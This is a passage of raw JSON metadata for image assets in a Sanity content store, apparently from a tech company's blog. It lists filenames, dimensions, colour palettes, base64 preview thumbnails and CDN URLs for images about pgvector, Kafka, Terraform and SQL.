hgKz5gr1","url":"https://cdn.sanity.io/images/sczeoy4w/production/9303052381119742c53b15661212e7970990f304-2500x1312.jpg"} {"_createdAt":"2023-06-23T12:55:31Z","_id":"image-930aa859ed311be2253796c60e27c8c1ba7753ad-1740x402-jpg","_rev":"KtWw3EPsvVF1DpRqAZurrV","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T12:56:24Z","altText":null,"assetId":"930aa859ed311be2253796c60e27c8c1ba7753ad","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.3283582089552235,"height":402,"width":1740},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAFABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIFCP/EAB4QAAICAgIDAAAAAAAAAAAAAAECAAMEEQUhElFh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgP/xAAXEQEBAQEAAAAAAAAAAAAAAAABAAIh/9oADAMBAAIRAxEAPwDRHLIa+awRW3jUdhq9dNLTIZ6gq1MFHwREI9amwAo1XWhe3BPvUREVO//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#322623","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94241c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#934e4a","foreground":"#fff","population":1.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9c9c0","foreground":"#000","population":0.94,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2745a","foreground":"#000","population":0.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#934e4a","foreground":"#fff","population":1.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c94","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_calculate_embeddings_slack.jpg","path":"images/sczeoy4w/production/930aa859ed311be2253796c60e27c8c1ba7753ad-1740x402.jpg","sha1hash":"930aa859ed311be2253796c60e27c8c1ba7753ad","size":28049,"title":null,"uploadId":"79WwbzYoFuD5Z34axp5k04zJ5fQxGAn7","url":"https://cdn.sanity.io/images/sczeoy4w/production/930aa859ed311be2253796c60e27c8c1ba7753ad-1740x402.jpg"} {"_createdAt":"2024-02-15T15:30:56Z","_id":"image-93162a251ed33078aa6adf893d010ef85ee00f11-3200x710-png","_rev":"UjGmMOs0V2SxB808hz0oSX","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:56Z","assetId":"93162a251ed33078aa6adf893d010ef85ee00f11","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DwL,:W{5C3v*xFWVj[jabGja","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.507042253521127,"height":710,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+ElEQVQYlS2PTU7CYBRFGUigUiEW2ipoUn4iWJGeNzUmMJDWPTlzqgN3oCZQWI9zg3yvug7zhQ5ubnKTc5Jb2SVJuEsSbw9OIVItRI4UGgrnCpcKXYVOAa5CvRBqX7NZ/WUyqd4+3dVnHw8eq9QjzxzZPtYqP9DZQ9dAuxA5VrA5UWgb6Cj4Cp5Cy+5/QmMVx+6iH3nD+difvs5D8vSCdWq7VSmBSKGnIk1zEFo4UAjNoc/K+L/Q3MSxO+9Hp6PldTB9W1jZiHUakWe+FYblrUBFXHu7FA4Urgz0DQwMjBWGVvyd4L7fxFWe753kcxmQpz02WSjbzPsHMgJjFLjCJ8IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563734","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e0406","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#563734","foreground":"#fff","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#762226","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0989c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84544c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0343a","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-aggregate.png","path":"images/sczeoy4w/production/93162a251ed33078aa6adf893d010ef85ee00f11-3200x710.png","sha1hash":"93162a251ed33078aa6adf893d010ef85ee00f11","size":149826,"uploadId":"aE8x6Tp2Rip8YSlqA3xY59H8k3ErqM7v","url":"https://cdn.sanity.io/images/sczeoy4w/production/93162a251ed33078aa6adf893d010ef85ee00f11-3200x710.png"} {"_createdAt":"2024-06-06T06:53:54Z","_id":"image-933a9a16bc92bb956a2be6e6568232afa433f8db-5000x2625-jpg","_rev":"4VzlThzl3LdNewHAKNNgpF","_type":"sanity.imageAsset","_updatedAt":"2024-06-06T06:53:54Z","assetId":"933a9a16bc92bb956a2be6e6568232afa433f8db","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCPjAcp{OZQU_LT1E3]_AMtm?uMgW?%FDk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":2625,"width":5000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAEDBAUGB//EACIQAAICAgEDBQAAAAAAAAAAAAECAwQAEQUSEyEGMVFxgf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBP/EAB0RAQACAgIDAAAAAAAAAAAAAAEAEQIDExQhMUH/2gAMAwEAAhEDEQA/AO6z1uUNl2gnHbJ8L1ZB9WW7NCWq9dljdt9crjYGh7fuaKJFE5YDz94jqslorIoZfgjeaMt3EjV21K04iq/Izw/JST8bXlsL25XXbLhlZbdhYYA6Awxeri+RhO5v1P/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b2e35","foreground":"#fff","population":2.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2a9b","foreground":"#fff","population":2.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2a9b","foreground":"#fff","population":2.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9bcd","foreground":"#000","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad3af","foreground":"#000","population":1.91,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a6798","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4421dc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"product_page_meta_preview_Caching (1).jpg","path":"images/sczeoy4w/production/933a9a16bc92bb956a2be6e6568232afa433f8db-5000x2625.jpg","sha1hash":"933a9a16bc92bb956a2be6e6568232afa433f8db","size":703196,"uploadId":"AHYlCLcFhGdmUtG1iQjURxTd5lz4jPnv","url":"https://cdn.sanity.io/images/sczeoy4w/production/933a9a16bc92bb956a2be6e6568232afa433f8db-5000x2625.jpg"} {"_createdAt":"2024-02-19T17:23:03Z","_id":"image-93853002b8ed0f79a7e3e29aad33c1633acd0d41-1552x550-png","_rev":"ie5WJlLr1SLUBaBgCm42yq","_type":"sanity.imageAsset","_updatedAt":"2024-02-19T17:23:03Z","assetId":"93853002b8ed0f79a7e3e29aad33c1633acd0d41","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DASY{p%Lx^x]$$~Wayxva}ng","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.821818181818182,"height":550,"width":1552},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+ElEQVQYlU2O247kMAhE8//fuZqVOom52xiIe+WWdmZK5wFBVYnjvbU265tnla/Jy2kFr+zvlb+u6+PfOtaqpyJjxvT/jBgQ/DXpz+S/U85wifAMj5h7yLmefL/X8ZT3LiQCJI0YiIhJBY1vghPaCXABAhAjcyNpLKIS09aqHVblG/lCPoG2kVB2GzXcuRvxAryALqQT+YWCLNM/4aoYXURQGD40YzC6ub2ovYRuUzRBUzIlVVYTMxnDMuLIDFPh/RSa8ujq3bqJMgpjN/FhY5iPvRQmZiIERDCzIzNVlZlFZAzPqqqnqrIqfxSZ0cdAxAattZuI3P0fitOS9FQxEUgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69551a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a0b3c5","foreground":"#000","population":2.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b3c5","foreground":"#000","population":2.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8cc68","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e8aa8","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cca434","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-tiered-terraform-partition-log.png","path":"images/sczeoy4w/production/93853002b8ed0f79a7e3e29aad33c1633acd0d41-1552x550.png","sha1hash":"93853002b8ed0f79a7e3e29aad33c1633acd0d41","size":13889,"uploadId":"3fOMqbRH9oW5e2kGib8Cb9YxFQcWRGtS","url":"https://cdn.sanity.io/images/sczeoy4w/production/93853002b8ed0f79a7e3e29aad33c1633acd0d41-1552x550.png"} {"_createdAt":"2023-03-30T17:02:22Z","_id":"image-939c844b62dae4cd4613c71691854cb689b64233-1316x89-png","_rev":"X76Ye1KO1uMYkz1EfOlZoc","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:22Z","assetId":"939c844b62dae4cd4613c71691854cb689b64233","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":14.786516853932584,"height":89,"width":1316},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAIAAABR8BlyAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAOUlEQVQImWP4fOPG66tXX127/vHu3W8PH35/9PDbw4dfHzz89vABGIG43x4+/PH40Z/nz/69eI6MAGt1NnhU2y6UAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c64","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e262b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccb4b4","foreground":"#000","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb4b4","foreground":"#000","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f09ea4","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e7f7f","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb5962","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-error-connection.png","path":"images/sczeoy4w/production/939c844b62dae4cd4613c71691854cb689b64233-1316x89.png","sha1hash":"939c844b62dae4cd4613c71691854cb689b64233","size":5340,"uploadId":"h8MIyY6Rg67JkwYYGuIthN6zlKnX5MiV","url":"https://cdn.sanity.io/images/sczeoy4w/production/939c844b62dae4cd4613c71691854cb689b64233-1316x89.png"} {"_createdAt":"2022-06-30T20:09:26Z","_id":"image-939eca822a6ac0501332d7aa6593199ed7150bae-725x435-png","_rev":"CK1sLU2mnwa3vmbYWEdMfU","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:51Z","assetId":"939eca822a6ac0501332d7aa6593199ed7150bae","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S?ANx^?b-;NG_Ms:xbWVV@KP%2-;kBRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6666666666666667,"height":435,"width":725},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABYElEQVQokU2SiY6DMAxE+f9f3VJo4vvKrqGtdjR6IpJHDo639VHVikyPMDOY8/l4PH4e+76f54mIZhYRmfmtX2ttVZWXPIrViZgIYY7XsR/P/TiO1zgnDEQgIlWNjOjaqFVbZpqZqnZP77Z9FEYa0J7I7esDSECMxEhdsrI73+GIqI8sjA3ZiY3EWZxYO8OGYmQuHtad3V1VReQbzgoLtdC+XkZejn+syqrqf6ZLquJuWRnZSQ+9it5amZX55dtrbWMMAGAmJTBB4cn4MqVSLbMybasUU8lNbquuzA0RmVmYZJwyDjyfcOw6ho/pgAEQgElYCEVUdJGpVDrs7mYmIgiEwDB5DMIpMJlQCERIwyzNyj292Y5YVT1td2fRiQLsbWpOtCb1uM1bce3PTXevqu3arXdezUVNzdX6SCyARMQscgd6HT58h+/8Pd7MfoZeODdEeF0CAHfPfquuufk37V9uAb2lO0EbWAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d2b2b","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e2525","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0a8a5","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a8a5","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08c94","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5672ae","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34747","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"939eca822a6ac0501332d7aa6593199ed7150bae-725x435.png","path":"images/sczeoy4w/production/939eca822a6ac0501332d7aa6593199ed7150bae-725x435.png","sha1hash":"939eca822a6ac0501332d7aa6593199ed7150bae","size":72390,"uploadId":"CFA86GUmRviRGqZjHtj5XLVkfQ6NZ2u5","url":"https://cdn.sanity.io/images/sczeoy4w/production/939eca822a6ac0501332d7aa6593199ed7150bae-725x435.png"} {"_createdAt":"2023-11-23T14:59:17Z","_id":"image-93bf0880055497cd80e32d2900c372555f9d78f3-384x576-jpg","_rev":"Arp4NzaYseKQ5hw9dg7ibE","_type":"sanity.imageAsset","_updatedAt":"2023-11-23T14:59:17Z","assetId":"93bf0880055497cd80e32d2900c372555f9d78f3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"drMsZxIpt-%2*0oJ%Mt7ELjZVsR+idkBWARkpJofV[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":576,"width":384},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBQcI/8QAKBAAAQMEAQMDBQEAAAAAAAAAAgEDBAAFBhESBxNBISMxFSIzUWHh/8QAFwEBAQEBAAAAAAAAAAAAAAAABAYCBf/EAB8RAAMBAAEEAwAAAAAAAAAAAAECAwAEBRMhMUFxkf/aAAwDAQACEQMRAD8Afur+TzMIxJqZbWUOTIdRkTVNoH91Sr0nyfMp15Z+ui5JtcpUFTcDj21X4VK0zqPY41/w1xqQ4IdgkfHflR8VU9LuzKZBTT2Wj9rkfwtYvR1oADkwkrSZj8Z1eg6cVKKsHyTuLRTQThblDJr9k16Jp6ZKMY4ryAGvRv8A2pgv16kxGYguiyAEhJ2R4qpfv0pc6e5K/GNY5gkiIa/jdTeq0ob/ABI+ji2qO274LW9VL8l2DkM2s+F1GU5AdoEj1mGy3++xrayFwuLSPKm9PJ92vG6KxvNMvci3xwX46PGQofLkqfPiilzN2QFT4+9xa1kXJKj8G//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433527","foreground":"#fff","population":0.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#951b0a","foreground":"#fff","population":2.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dbaf9b","foreground":"#000","population":6.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb2b6","foreground":"#000","population":0.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbaf9b","foreground":"#000","population":6.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6e4f","foreground":"#fff","population":5.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df2f1f","foreground":"#fff","population":2.94,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Resized profile.jpeg","path":"images/sczeoy4w/production/93bf0880055497cd80e32d2900c372555f9d78f3-384x576.jpg","sha1hash":"93bf0880055497cd80e32d2900c372555f9d78f3","size":254272,"uploadId":"kpOyiDaQAeIrBZWUu0YAoowY7IzRY66v","url":"https://cdn.sanity.io/images/sczeoy4w/production/93bf0880055497cd80e32d2900c372555f9d78f3-384x576.jpg"} {"_createdAt":"2023-03-31T13:13:17Z","_id":"image-94401ec6040c6f685654776f575074e2b2e5d53b-1126x550-png","_rev":"IfootSjA4c56MZIbwTStM8","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T13:15:01Z","altText":null,"assetId":"94401ec6040c6f685654776f575074e2b2e5d53b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0472727272727274,"height":550,"width":1126},"exif":{"PixelXDimension":1126,"PixelYDimension":550,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABHElEQVQokW2SV27EMAxEdf9juq+LbLl3Bo8IjU3gj4HE4bBKrixL+Xw+wmn3uq4lhCBVVUmWZQ+H3TSNeO9VWxSF+vI81xPexXGsQUmSCPc0TVVIAEJseIAN0IM3nyPQBFaNhG3baldmAzTo4UkWRZH6LSm8W9dVx+v7XpZl0RPs+y7mG8dRpmnSO+e2bc/Yfd8/60Lv7vuW4zg0GcQ8z3pe16Xgjs+Alhh0TBFC0OTDMCjvRERFVMIBuq7TYDpBSCAw/jxP5a2z8rdTGtAOEfF67BDwmggYz0b75uka/vuRvPda6E9Cq2bfht0h/F/oLSHxT0IeACEjGeiOwLdVoGdk422HOjI75MK+WDSw5RtPcitAF9YEOtNj8yg/Chv5tq0eC8wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"terraform-diagram-1.png","path":"images/sczeoy4w/production/94401ec6040c6f685654776f575074e2b2e5d53b-1126x550.png","sha1hash":"94401ec6040c6f685654776f575074e2b2e5d53b","size":112267,"title":null,"uploadId":"6TQmakfZvyv51feb1EMqCV8eSMv4KAwM","url":"https://cdn.sanity.io/images/sczeoy4w/production/94401ec6040c6f685654776f575074e2b2e5d53b-1126x550.png"} {"_createdAt":"2022-06-15T20:02:26Z","_id":"image-9441a09da86076297fd6517d5a033f6c7e864564-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriDTq","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:12Z","assetId":"9441a09da86076297fd6517d5a033f6c7e864564","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWPiq|.T-=9GxZT#ROV?ofW=?vIAIn%1Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADTElEQVQokRXQ3U9bZRzA8fOn6IVeGE28UhMTjOxC50IIMcrmhduSmcwZpuKcyjYyAwscHIRNu6GOMt0C3ShMMjBagb21odjy1pe1PT3t09OX8/Y855y25xTK8Px+hovvH/D5cjmidGeyxYlUpjCTyZamSxXm15njp0bDr7HGXSI7U8mc4ROJNqlqtZvUaIzr1PZq1PbqzBnXmTNBmTNFmfMbZfYFbmMzNf74yb/C0oOQGQxFaSyRZURSmaxWmUZtWlYdPU0MPZbM64lkVk1nCkriqajGE4JaKlOFGo5CWZ0xVssxVp3hNrfSdx89XjWWH4QwGIrgaiSGsUQWiaShSm1U2Q7myzVcicRx9t59vPfHPN6f/xv9M3MYDkexXKggVSialNVMyhY5Imm+TLaopwUJs2LZFcQSiPkKlCoGaLoFuqpCqViGlfAa/PzLDfBcvQLTE2OuZ+Cie3VwAB5OTrpyMIi1vGjWNDnA6cy5s0/TqY06s0GnddD200yk0jrkwl5YmvWA7/ZN8Px4BbyXe2F5+DPwnm6H051t4Dl+FMT+PnT++tNyJCHAUcO5Qw2bMsNGxupgsCpSWkMqF1DfGMNFzzt49uhrePLYB3jxu26cuNSFC+c78PqJVjx2sAV73n4LNg5/hM7wqLWzvhLgGKv6DGZRg5r7H1xL18HUKdTkNCjhYfAPtMDXnS9A15E34eznnwDfewZGz52CMx93wMHXX4VPX3kJwu+2Yf1Cn9UMLgY4S9d/tzRNtTQVq5ri1rQK1LUKOEoW1MQ8PJzqhcm+drjV0wrXezph9PxJ+OHbU/DF4UPQ9vLz0PXic26orR3NyyPmztqjAFeXxHGTCCotCGiVc+goBBsqwW1FxHoxgcXNZYzNDWLs2nu4NvgGBvsO4NKlTrz91YfY39GCP7W3YuRcNxoL/uq2EPmHc9LrQywRjcipdYmRZL4hC6SpCKQpp8munCLbpTixtuaIMvclyY0dIoWx94k2/Q0RZ0fIyq/9ZOPGYL4S8EmNp8HYbmHtFrdN4kfqua1eKx8bsotJvimn+F05xT+Tk/xeJc7/V4nxe9Iqb0Sn+fT8CF8IXOMb8QV+Lx/im8IT/lk2yLvS6pBbin7vlqIn/gdQibeZ4IxmWQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44322d","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d4b07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2971c","foreground":"#000","population":5.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c29793","foreground":"#000","population":0.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d15b","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6da2","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2971c","foreground":"#000","population":5.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9441a09da86076297fd6517d5a033f6c7e864564-1567x844.png","path":"images/sczeoy4w/production/9441a09da86076297fd6517d5a033f6c7e864564-1567x844.png","sha1hash":"9441a09da86076297fd6517d5a033f6c7e864564","size":473606,"uploadId":"HpudcsIXQi0PQYmK6Gi4s564RERqbD4q","url":"https://cdn.sanity.io/images/sczeoy4w/production/9441a09da86076297fd6517d5a033f6c7e864564-1567x844.png"} {"_createdAt":"2022-09-02T16:44:45Z","_id":"image-944a089647472efca13339e338e66603cd1f1d09-224x231-svg","_rev":"i4rt3ANhEPnepa7hEgN5iN","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:44:45Z","assetId":"944a089647472efca13339e338e66603cd1f1d09","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9JuZE%M00t700IBIB.7?uIB^TV[0JRPR~_M_M0000.800of00tRa2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9696969696969697,"height":231,"width":224},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFZElEQVQ4jS2VaWxVRRTHp7RFjYroFxNRY4yKQSsav6hIoh/URMUtxkSRQOKCG8EYE4kbYmLcoyBB4wq4YMWURaBiWUrbmXtnzpn13vv6eO91eQvFAq0F2vdaKDwzDyY5yc0k5zdn/V/CBBLKgUSpNAlA+u8LKIebmMDnA5C/BSAzAcjRQOCxQGDMBP7ABD5NOcykHM5DbYmNU8Rz1nz/M6nBdrTt9hcNTOBVAcj5HNV3oI2Q1h1UNqpI406DtqfQuDE0rgTKUC71qhDlI0zgZQHIKR+vXFODklxfP+kKRSMTeGOI6i1QJlA2GjFxcsrGqZMmSo5rFw8pFw+ZKBkzcTJpomRSu/gIGrubS70kAHl1VyjqTZzUIpzCBF4fonoftO3WLj5h4mTCREle2WgXavs9aPMpavsZGrdWWtehXTxw9rFxaR2CNq9xVFd2BrwGvDQAuVQo45SNTuooPqZs1AnKvBuiuocJnMkEXuEtEHhDAPJBIfVH0jjUUVw2UTIhjaMc1QLKYZoH+jrs4FJX0LhRaVybUGaRB+yjYSNHVasNKEuq1SrpYPwchjiTK/06GgvSuHGhzLEA5K+UwxwP9F0rMoGTIUgdonoxAHlpm+0g6/9oIR5IBRBI2bolF7xM+iYHGrJjheuSwexzsjtqDqUqeV8msJtyeM8DmykHdtY+oByu39K8g6xe/S1p3rSZfPn11+TPvduIP/FQ1sNmZcuF5dlyoS0ZzLUKZ7ZTDgHluJsK/MIDH6QcH6Mc5zGOTSKy5x+uHq+vVqt1HuLT9GewOtLQM1GalasU38tViqlcpTiQOZ5fr3tT85nAefSM3U2owKlM4NSuQDSmh3unZUbzN2Epmrtuy+/XLnx28SXzFz0z7dVlb0zf3NV6C8+b9+2hdJL8lzu0f7S/JVsuPtQ93HsJE9jIoMZpJHvaugg3mqQmeut6xktNmdH8J2G/3rr+r+aPlq1Y/vgLS1+d8+FXX8z7ZfvGlVvZzv2tuGekzXS08X7zeO/Egek++n3tIeno5D64MynFBzMkGcnV94yX7siM5jfKgXh4p9rXu+HvlrU/bd7w5qaOHWu3hW19W9nOI7//s2n3t83rXlr